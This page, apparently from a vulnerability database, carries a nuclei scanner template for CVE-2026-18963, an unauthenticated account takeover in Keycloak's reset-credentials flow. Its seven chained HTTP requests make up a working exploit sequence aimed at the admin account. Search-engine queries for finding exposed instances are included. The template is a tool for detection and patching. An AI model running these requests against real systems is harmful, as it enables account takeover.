Lucene search
+L

Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass

🗓️ 13 Sep 2026 16:24:01Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 212 Views

Unauthenticated account takeover in Keycloak < 26.7.2 via reset-credentials bypass.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-18963
25 Aug 202602:28
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-18963
31 Aug 202600:59
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-18963
24 Aug 202612:46
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-18963
31 Aug 202600:59
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-18963
5 Sep 202620:52
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-18963
25 Aug 202614:49
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-18963
25 Aug 202602:28
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-18963
20 Aug 202622:01
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-18963
24 Aug 202623:40
githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-18963
25 Aug 202605:39
githubexploit
Rows per page
id: CVE-2026-18963

info:
  name: Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    Keycloak versions prior to 26.7.2, 26.6.6, and 26.4.15 contain a flaw in the reset-credentials flow that allows an unauthenticated attacker to bypass email verification and take over any user account. Two bugs are chained: (1) the tryAnotherWay handler stores a generic "true" selector note not scoped to the execution ID, and (2) ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.
  impact: |
    An unauthenticated remote attacker can force the password reset process for any user without clicking the email verification link, resulting in full account takeover.
  remediation: |
    Upgrade to Keycloak 26.7.2, 26.6.6, or 26.4.15 which include fix PR #51844. Temporary mitigation: disable "Forgot Password" in all realms.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-18963
    - https://github.com/keycloak/keycloak/pull/51844
    - https://github.com/keycloak/keycloak/issues/51833
    - https://github.com/T0w0T/POC-CVE-2026-18963
    - https://access.redhat.com/security/cve/cve-2026-18963
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-18963
    epss-score: 0.03177
    epss-percentile: 0.87317
    cwe-id: CWE-640
  metadata:
    verified: true
    max-request: 7
    vendor: keycloak
    product: keycloak
    shodan-query: http.title:"Sign in to Keycloak" || http.title:"Log in to Keycloak"
    fofa-query: title="Sign in to Keycloak" || title="Log in to Keycloak"
  tags: cve,cve2026,keycloak,auth-bypass,account-takeover,critical,vkev

variables:
  username: admin
  realm: master

flow: |
  http("step-1");
  http("step-2");
  http("step-3");
  http("step-4");
  typeof restart_path !== "undefined" && restart_path !== "" && http("step-5");
  http("step-6");
  http("step-7");

http:
  - id: step-1
    raw:
      - |
        GET /realms/{{realm}}/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_uri={{BaseURL}}/realms/{{realm}}/account HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: forgot_path
        internal: true
        part: body
        group: 1
        regex:
          - 'href="(?:https?://[^/]+)?(/[^"]*reset-credentials[^"]*)"'

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: step-2
    raw:
      - |
        GET {{replace(forgot_path,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: reset_form_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-reset-password-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"'

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: step-3
    raw:
      - |
        POST {{replace(reset_form_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        tryAnotherWay=on

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: selector_form_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-select-credential-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"'

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - id: step-4
    raw:
      - |
        POST {{replace(selector_form_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: restart_path
        internal: true
        part: body
        group: 1
        regex:
          - '(/realms/[^\s"''<]+/login-actions/restart[^\s"''<]*skip_logout=true[^\s"''<]*)'

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - id: step-5
    raw:
      - |
        GET {{restart_path}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: status
        status:
          - 200
          - 302
        internal: true

  - id: step-6
    raw:
      - |
        GET {{replace(forgot_path,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: stale_selector_action
        internal: true
        part: body
        group: 1
        regex:
          - 'id="kc-select-credential-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"'

    matchers:
      - type: word
        words:
          - "kc-select-credential-form"
        part: body
        internal: true

  - id: step-7
    raw:
      - |
        POST {{replace(stale_selector_action,"&amp;","&")}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: word
        words:
          - "kc-passwd-update-form"
        part: body

    extractors:
      - type: dsl
        dsl:
          - '"username=" + username + " | realm=" + realm'
# digest: 4b0a00483046022100aeebfcc7046694ee6069643f3767a292a9938ce0f923638689e3427d48c1c77a022100f4da75a66a4612c2a22087df846564ff5b5b5c2fa1ca985e58dee618ed1d431a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Aug 2026 21:57Current
8.1High risk
Vulners AI Score8.1
CVSS 3.19.1
EPSS0.03177
SSVC
212